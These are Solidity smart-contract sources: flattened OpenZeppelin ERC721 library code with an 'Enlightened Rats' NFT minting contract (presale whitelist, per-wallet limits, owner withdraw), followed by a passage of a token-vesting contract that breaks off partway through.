* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/EnRatsV4.sol
pragma solidity >=0.7.0 <0.9.0;
contract EnlightenedRatsNFT is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix =
"ipfs://QmZVjxYdXypYCgtHMJqcTbRfDaSWkrRHkCA1m8UF1TGs5a/";
string public uriSuffix = ".json";
uint256 public cost = 0.08 ether;
uint256 public maxSupply = 888;
uint256 public maxSupplyPresale = 788;
uint256 public maxMintPerWallet = 3;
uint256 public maxMintPerWalletPresale = 2;
uint256 public presaleStartTime = 1644066000;
uint256 public publicStartTime = 1644152400;
bool public paused = false;
mapping(address => bool) public whitelistedAddresses;
mapping(address => uint256) public addressMintedBalancePresale;
mapping(address => uint256) public addressMintedBalance;
constructor() ERC721("Enlightened Rats", "ENRATS") {
_mintLoop(msg.sender, 88);
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0, "Invalid mint amount!");
require(
_mintAmount <= maxMintPerWallet,
"Max NFT per transaction exceeded!"
);
if (isPresaleOpen()) {
require(
supply.current() + _mintAmount <= maxSupplyPresale,
"Max supply for Presale exceeded!"
);
}
require(
supply.current() + _mintAmount <= maxSupply,
"Max supply exceeded!"
);
_;
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function mint(uint256 _mintAmount)
public
payable
mintCompliance(_mintAmount)
{
require(!paused, "The contract is paused!");
if (msg.sender != owner()) {
if (isPresaleOpen()) {
// Presale
require(isWhitelisted(msg.sender), "User is not whitelisted!");
uint256 ownerMintedCount = addressMintedBalancePresale[
msg.sender
];
require(
ownerMintedCount + _mintAmount <= maxMintPerWalletPresale,
"Max NFT per address (Presale) exceeded!"
);
} else {
// Public
require(isPublic(), "Public minting not started");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(
ownerMintedCount + _mintAmount <= maxMintPerWallet,
"Max NFT per address exceeded!"
);
}
require(msg.value >= cost * _mintAmount, "Insufficient funds");
}
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver)
public
mintCompliance(_mintAmount)
onlyOwner
{
_mintLoop(_receiver, _mintAmount);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (
ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply
) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function isWhitelisted(address _user) public view returns (bool) {
if (whitelistedAddresses[_user] == true) return true;
return false;
}
function isPresaleOpen() public view returns (bool) {
return (block.timestamp >= presaleStartTime &&
block.timestamp < publicStartTime);
}
function isPublic() public view returns (bool) {
if (block.timestamp > publicStartTime) {
return true;
}
return false;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(
currentBaseURI,
_tokenId.toString(),
uriSuffix
)
)
: "";
}
// Owner Only
function setStartTime(uint256 _presaleStartTime, uint256 _publicStartTime)
public
onlyOwner
{
presaleStartTime = _presaleStartTime;
publicStartTime = _publicStartTime;
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
for (uint256 i = 0; i < _users.length; i++) {
whitelistedAddresses[_users[i]] = true;
}
}
function setCost(uint256 _cost) public onlyOwner {
cost = _cost;
}
function setMaxMintPerWallet(uint256 _maxMintPerWallet) public onlyOwner {
maxMintPerWallet = _maxMintPerWallet;
}
function setMaxMintPerWalletPresale(uint256 _maxMintPerWalletPresale)
public
onlyOwner
{
maxMintPerWalletPresale = _maxMintPerWalletPresale;
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public onlyOwner {
// This will transfer the remaining contract balance to the owner.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
if (msg.sender != owner()) {
if (isPresaleOpen()) {
addressMintedBalancePresale[msg.sender]++;
} else {
addressMintedBalance[msg.sender]++;
}
}
_safeMint(_receiver, supply.current());
}
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title SymbiosisTokenVesting
*
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period.
* There are 3 types of vesting schedule: CONTINUOUS, MONTHLY (every 30 days), QUARTERLY (every 90 days).
*/
contract SymbiosisTokenVesting is Ownable {
// The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is
// therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore,
// it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a
// cliff period of a year and a duration of four years, are safe to use.
// solhint-disable not-rely-on-time
using SafeERC20 for IERC20;
event ReservedAdded(address indexed beneficiary, uint256 reserved);
event TokensReleased(
address indexed beneficiary,
address indexed transferredTo,
uint256 amount
);
event TokensWithdrawnByOwner(address indexed token, uint256 amount);
// 100% in basis points
uint256 public constant MAX_BPS = 10000;
// private VestingSchedule time constants
uint256 private constant MONTHLY_TIME = 30 days;
uint256 private constant QUARTERLY_TIME = 90 days;
// SymbiosisTokenVesting name
string public name;
// ERC20 token which is being vested
IERC20 public token;
// staking contract address
address public stakingAddress;
// Durations and timestamps are expressed in UNIX time, the same units as block.timestamp.
uint256 public cliff; // the cliff time of the token vesting
uint256 public start; // the start time of the token vesting
uint256 public duration; // the duration of the token vesting
// type of the token vesting
enum VestingSchedule {
CONTINUOUS,
MONTHLY,
QUARTERLY
}
VestingSchedule public immutable schedule;
// basis points of the initial unlock – after the start and before the end of the cliff period
uint256 public immutable cliffUnlockedBP;
// total reserved tokens for beneficiaries
uint256 public reserved;
// reserved tokens to beneficiary
mapping(address => uint256) public reservedForBeneficiary;
// frozen amount for staking
mapping(address => uint256) public frozenForStakeAmount;
// total released (transferred) tokens
uint256 public released;
// released (transferred) tokens to beneficiary
mapping(address => uint256) public releasedToBeneficiary;
// array of beneficiaries for getters
address[] internal beneficiaries;
/**
* @dev Creates a vesting contract that vests its balance of specific ERC20 token to the
* beneficiaries, gradually in a linear fashion until start + duration. By then all
* of the balance will have vested.
* @param _token ERC20 token which is being vested
* @param _cliffDuration duration in seconds of the cliff in which tokens will begin to vest
* @param _cliffUnlockedBP basis points of initial unlock – after the start and before the end of the cliff period
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _schedule type of the token vesting: CONTINUOUS, MONTHLY, QUARTERLY
* @param _name SymbiosisTokenVesting name
*/
constructor(
IERC20 _token,
uint256 _start,
uint256 _cliffDuration,
uint256 _cliffUnlockedBP,
uint256 _duration,
VestingSchedule _schedule,
string memory _name
) {
require(
address(_token) != address(0),
"SymbiosisTokenVesting: token is the zero address"
);
require(_duration > 0, "SymbiosisTokenVesting: duration is 0");
require(
_cliffDuration <= _duration,
"SymbiosisTokenVesting: cliff is longer than duration"
);
require(
_start + _duration > block.timestamp,
"SymbiosisTokenVesting: final time is before current time"
);
require(
_cliffUnlockedBP <= MAX_BPS,
"SymbiosisTokenVesting: invalid cliff unlocked BP"
);
token = _token;
duration = _duration;
cliff = _start + _cliffDuration;
start = _start;
schedule = _schedule;
name = _name;
cliffUnlockedBP = _cliffUnlockedBP;
}
modifier onlyStaking() {
require(msg.sender == stakingAddress);
_;
}
function setStakingAddress(address _stakingAddress) external onlyOwner {
stakingAddress = _stakingAddress;
}
/**
* @notice Calculates the total amount of vested tokens.
*/
function totalVested() public view returns (uint256) {
uint256 currentBalance = token.balanceOf(address(this));
return currentBalance + released;
}
/**
* @notice Calculates the amount that has already vested but hasn't been released yet.
* @param _beneficiary Address of vested tokens beneficiary
*/
function releasableAmount(address _beneficiary)
public
view
returns (uint256)
{
uint256 releasable = _vestedAmount(_beneficiary) - releasedToBeneficiary[_beneficiary];
uint256 frozen = frozenForStakeAmount[_beneficiary];
return (releasable > frozen) ? (releasable - frozen) : 0;
}
/**
* @notice Get a beneficiary address with current index.
*/
function getBeneficiary(uint256 index) external view returns (address) {
return beneficiaries[index];
}
/**
* @notice Get an array of beneficiary addresses.
*/
function getBeneficiaries() external view returns (address[] memory) {
return beneficiaries;
}
/**
* @notice Adds beneficiaries to SymbiosisTokenVesting by owner.
*
* Requirements:
* - can only be called by owner.
*
* @param _beneficiaries Addresses of beneficiaries
* @param _amounts Amounts of tokens reserved for beneficiaries
*/
function addBeneficiaries(
address[] memory _beneficiaries,
uint256[] memory _amounts
) external onlyOwner {
uint256 len = _beneficiaries.length;
require(len == _amounts.length, "SymbiosisTokenVesting: Array lengths do not match");
uint256 amountToBeneficiaries = 0;
for (uint256 i = 0; i < len; i++) {
amountToBeneficiaries = amountToBeneficiaries + _amounts[i];
// add new beneficiary to array
if (reservedForBeneficiary[_beneficiaries[i]] == 0) {
beneficiaries.push(_beneficiaries[i]);
}
reservedForBeneficiary[_beneficiaries[i]] =
reservedForBeneficiary[_beneficiaries[i]] +
_amounts[i];
emit ReservedAdded(_beneficiaries[i], _amounts[i]);
}
reserved = reserved + amountToBeneficiaries;
// check reserved condition
require(
reserved <= totalVested(),
"SymbiosisTokenVesting: reserved exceeds totalVested"
);
}
/**
* @notice Withdraws ERC20 token funds by owner (except vested token).
*
* Requirements:
* - can only be called by owner.
*
* @param _token Token address (except vested token)
* @param _amount The amount of token to withdraw
**/
function withdrawFunds(IERC20 _token, uint256 _amount) external onlyOwner {
require(
_token != token,
"SymbiosisTokenVesting: vested token is not available for withdrawal"
);
_token.safeTransfer(msg.sender, _amount);
emit TokensWithdrawnByOwner(address(_token), _amount);
}
/**
* @notice Withdraws ERC20 vested token by owner.
*
* Requirements:
* - can only be called by owner.
*
* @param _amount The amount of token to withdraw
**/
function emergencyWithdraw(uint256 _amount) external onlyOwner {
require(
block.timestamp < start,
"SymbiosisTokenVesting: vesting has already started"
);
token.safeTransfer(msg.sender, _amount);
emit TokensWithdrawnByOwner(address(token), _amount);
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param _beneficiary Address of vested tokens beneficiary
*/
function release(address _beneficiary) external {
_release(_beneficiary, _beneficiary);
}
/**
* @notice Transfers vested tokens of sender to specified address.
* @param _transferTo Address to which tokens are transferred
*/
